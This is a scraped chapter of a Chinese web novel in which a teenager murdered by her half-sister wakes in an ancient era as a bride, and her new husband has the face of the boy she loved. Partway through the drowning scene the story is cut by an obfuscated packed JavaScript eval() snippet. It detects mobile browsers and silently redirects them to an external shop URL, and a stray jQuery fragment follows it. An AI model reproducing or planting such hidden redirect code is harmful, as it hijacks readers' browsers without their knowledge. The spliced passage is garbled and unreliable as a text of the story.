文趣网 > 其他小说 > 拿下跟白月光撞脸的他 > 1. 第 1 章
    困。

    好困。

    仿佛就此长睡不醒。

    路晚双几乎费尽全身力气才将那厚重的眼皮睁开。但重见光亮后,眼前场景令她感到无比陌生。

    铜镜中映出的脸的确是她自己没错,却施了艳妆,眼角眉梢更是楚楚含情。

    珠翠花钗绕了满头,俨然一幅将赴盛事的姿态。

    路晚双惊愕到瞪大双眼。

    她侧过头瞧看周遭陈设,不论是身后的床榻、桌案,还是方才那简单的铜镜,她从前也只在博物馆见识过。

    路晚双狠掐一把自己手臂——有痛感,不是做梦。

    她究竟是怎么到这儿来的?

    正待她冥思苦想不得解之时,有位小丫鬟抱着个匣子,走到她面前行了礼。

    “小姐,该戴盖头了。”

    啊?

    路晚双她再低下头看自己的衣裳,这原来竟是喜服。

    她马上就要嫁人了,也太突然了吧?

    她不自觉反问:“我要跟谁结婚?”

    面前的小丫鬟露出犹疑的神情,依旧回道:“当然是燕小将军啊。”

    “虽说小姐您当时是有些不情愿,但亲自看过人后不就改口答应了吗?现在反悔也不成了。”

    说着就要将红纱盖在对方头上,但下一步动作却被路晚双出手制止。

    房外时深时浅的笑语声落入耳中,她眼下也明白了,没人会费这么大力气同她开玩笑。

    所以这是一个同她原本所处的、全然不同的世界。

    路晚双怎么觉得,她此刻与俎上鱼肉并无区别。

    她决意,不如先盘问些有用的话出来。

    “先别急,如今我是要出嫁了,我且问你,从前可有亏待你过?”

    话毕,路晚双就迫不及待紧盯她的反应。

    谁料小丫鬟闻言便低下了头,像是极其忸怩地说了句:“不曾。”

    “我娘的病,多亏有小姐周济。”

    路晚双心下讶然,她运气不差,还真问对了。

    “那你......”

    丫鬟压低了声音,在她耳边说了些私语。

    “往后夫人和大小姐这边若有什么风声,秋桐会帮小姐留意的。”

    路晚双眼神一凛,若真如此的话,原主对这两位人物应当是挺忌惮的。

    她还想再开口,却听外边传来一声催促:“她还没好么?别误了时辰。”

    丫鬟连忙闭紧了自己的嘴,垂下眼眸接着做她分内之事。

    而这一洪亮的话声,反让路晚双身体不受控制地颤了颤。

    一切就绪,她眼前视线被红纱所掩,由婆子引着一步步出了门,拜父母,再上花轿。

    轿内只她一人,在街巷人群的喧闹中,路晚双渐渐回过神来。

    为何方才那位夫人的话,会让她莫名感到不安。

    不过,因那声突如其来的“问候”,她想起了自己醒之前所发生的事。

    但回忆起来,却让她胆颤心寒——

    那关乎死亡,是许多人所忌讳谈起的话头。

    原来她死了么?但现在缘何又活了过来......

    -

    路晚双出生在二十一世纪,刚经历过高考,是一名准大学生。

    三岁时她父亲就去世了,而母亲再婚,丢下了她。

    可以说,父母生下她却没管过她,她是由奶奶带大的。

    奶奶对她很好,因此虽没有父母在身边,她一样过得很幸福。

    况且,每次放学回家听见邻居家门后传来的争吵谩骂声,让她对那两人的幻想也黯淡几分。

    但事情转折就发生在高考之后。

    那天,路晚双的亲生母亲找上了她。

    她开门时只见是一个陌生女人,不明所以地问:“您是?”

    对方见她的反应,张了张嘴,仿佛比她更为惊讶。

    “双双,你不认识我?”

    本在房内的奶奶听见话声,也走到门口来,结果一望见女人的面孔,就变了脸色。

    “你......你怎么来了?”

    这算是路晚双有记忆以来,第三次见到自己的母亲。

    那年暑假,她被接到了母亲的住处。

    母亲生了个同母异父的妹妹,一见着她这位姐姐,眼睛就没再转过。

    如此相安无事也过了几天,路晚双还是很好奇,为什么母亲在这时候找上自己?

    “双双,过去妈妈工作太忙了没顾得上,听说你考上了所不错的大学,今后的学费、生活费妈妈来给,不用你和奶奶再操心了。”

    是么,可她本来都打算办助学贷款了。

    说这话时,十岁的妹妹也在旁边听着,顺势也把目光投向了路晚双。

    但为什么是这时候呢,过去的十多年母亲又在哪儿?

    这些话路晚双没有问出口,只将它留在心底。

    母亲确实很忙,经常到深夜都不见她的身影。

    母亲再婚又离婚,因此除了偶尔来做饭打扫的家政阿姨,这个家里就剩她和妹妹两人。

    妹妹写完作业就一个人玩她的洋娃娃,也不理睬她。

    对此,路晚双求之不得呢。

    不过,发生件这么大的事,她都还没来得及告诉他。

    那天过后,他们就再也没见过面了。

    她的脸微微泛红,自己还没给他一个明确的答复。

    那天妹妹不在家,她回去一趟看望了奶奶,又想去他家找他。

    但她一共按了三次门铃,还是没有任何人来开门。

    她才想起,他这几天不在这座城市。

    路晚双一边想“算了”,以后总有机会再见面告诉他的,一边转身离开了。

    晚上她回了家,难得见母亲自下厨做了菜,还留了她的座位和碗筷。

    “双双,妈妈过几天放年假,带你和妹妹出去玩吧。”

    路晚双刚将菜夹到碗里,抬头看向母亲,并答应了下来。

    毕竟这个暑假她本想去奶茶店打工的,留在家里反倒有些无聊了。

    七月尾巴那几天,母亲开车带她们姐妹到山麓的别墅避暑。

    妹妹似乎特别的高兴,赖在母亲怀里撒了好久娇。

    她们别墅附近有一片湖,到晚上时,湖畔草丛里会聚起星子一般的萤火虫,城里是看不见这般景色的。

    路晚双将一只手浸到水中,冰凉的触感令人心静几分。

    身后传来窸窸窣窣的响声,路晚双一回头,发现是妹妹,不知何时走到了自己近旁。

    “姐姐,你怕水吗?”她天真地问。

    路晚双有些莫名其妙:“不怕,怎么了?”

    妹妹似笑非笑,点点头不再吭声,像是记在了心里。

    就算是出来度假,母亲手头也有工作要处理,她一个人待在房内,留两个女儿自己在外面玩。

    路晚双还不擅长面对母亲和妹妹,便试着在湖边钓起了鱼。

    她在想,等回去后一定要再去找他。

    又想,等上学过后,奶奶一个人待在家中,会不会太孤单了。

    路晚双思绪还没有飘多远,背后却蓦地挨了一股力道。

    她没有防备,整个人都跌进了湖里,头脑来不及反应,身体先一步扑腾挣扎起来。

    她以为水很浅,没想到一沉下去脚都够不着底边,胡乱抓住的水草也被轻易折断。

    水里似有重压在身,空气愈发稀薄,她就要窒息。求生的欲望令她拼命地往上漂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938737|213807||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去,她想大喊出声,想喊人来救自己!

    可她张开嘴,只将冰冷的水呛入喉中,根本发不出任何声音。

    在她感觉自己似乎折腾得往前靠了些时,头上又遭了一记重击。

    像是粗木棍......她很快就不能再思考了。

    路晚双不知道湖有多深,只知道自己不顾一切地往下沉去。

    在意识将要涣散时,她听见离自己越来越远的脚步声,又有一阵急促的脚步声奔向了自己。

    可惜,什么都不在了。

    ............

    路晚双回过神后,发现自己揪紧了膝边衣裙,生生掐出了痕迹。

    仅仅是回忆自己的死法,就大汗涔涔,仿佛喘不过气一般。

    所以,她原本是已死之人,不知为何穿到了这个世界来。

    她深深地呼出一口气。

    难道是苍天有眼,怜她前世如此年轻就丧了命。若她现下还有机会活,那最好能活得再久一点。

    只是可怜她的奶奶,又要失去亲手养大的孩子,成了孤家寡人。

    而那个人,她想对他说的话,也没有机会再说了。

    现在是元昇九年。

    路晚双垂着头,勉强平复了心绪。

    轿子稳稳地落了地,她又被人牵着手到了正堂中。

    与她交握的那只手,似乎是属于一个年轻男子的。

    他的指尖有一层薄薄的茧子,掌心却意外的柔暖。

    路晚双瞧不见他的面庞,也不敢细想。

    在这一朝代,她连夫婿的面都没见过,就要与他完婚。

    不过,她也不知晓自己在这儿的名讳。会是什么,还是晚双吗......

    该一步步行礼了。

    出奇的是,她叩拜的方向并未坐着该在此处的两位翁姑。

    而堂中也安静得反常,只有些细微的话语声,甚至不如方才街旁的喧闹。

    仪礼仍就绪如常,路晚双虽是现代人,不懂古代的礼,但好在有傧相主持,她有样学样,也能勉强糊弄过去。

    路晚双尽管对此一知半解,但据常识也知道,“天地”过后该拜“高堂”,但他们二人却没有。

    傧相极力将语调放得宛转跳脱,好让堂内气氛不那么冷凝。

    路晚双被送入新房之中,还在回味方才的情景。

    她的夫婿应当是个活人。可为什么座下死寂得根本不像是成亲礼,反倒像......丧礼,只是没人哭而已。

    路晚双连忙晃了晃脑袋,还是别这么咒自己了。

    她想起早晨时那丫鬟说自己“本来是不答应的”,又有人在房外催促,像是生怕她不嫁一般。

    路晚双预感更不好了。

    她的丈夫不会是什么花天酒地的不良纨绔吧,还是真身患不能言说的隐疾......或者更糟,完全是个凶残成性的暴徒。

    她欲哭无泪地抚上额头,怎么这辈子也这么要命。

    透着朦胧的光影瞧向窗棂之外,她现在想逃恐怕也逃不了了,进来时都找不到路,别说偷溜了。

    路晚双还没准备好,门却“吱呀”一声被推开了。

    来人步伐沉稳,像是并未沾染多少酒气,不带犹豫地走向坐在床边的她。

    路晚双的心跳竟也随之加快不少。

    他站在她面前就不动了,路晚双下意识抬头,红纱垂边似水波漾开。

    下一秒,盖头被缓缓揭开,明艳娇娆的脸庞露在烛光之下,如芙蓉出水。

    两对眼眸坦然相视,仿若都欲图将对方望穿究底。

    可路晚双的大脑很快化作一片空白,眼前的这张脸她再熟悉不过。

    路晚双心口一窒,不加思索唤他:“俞乔?”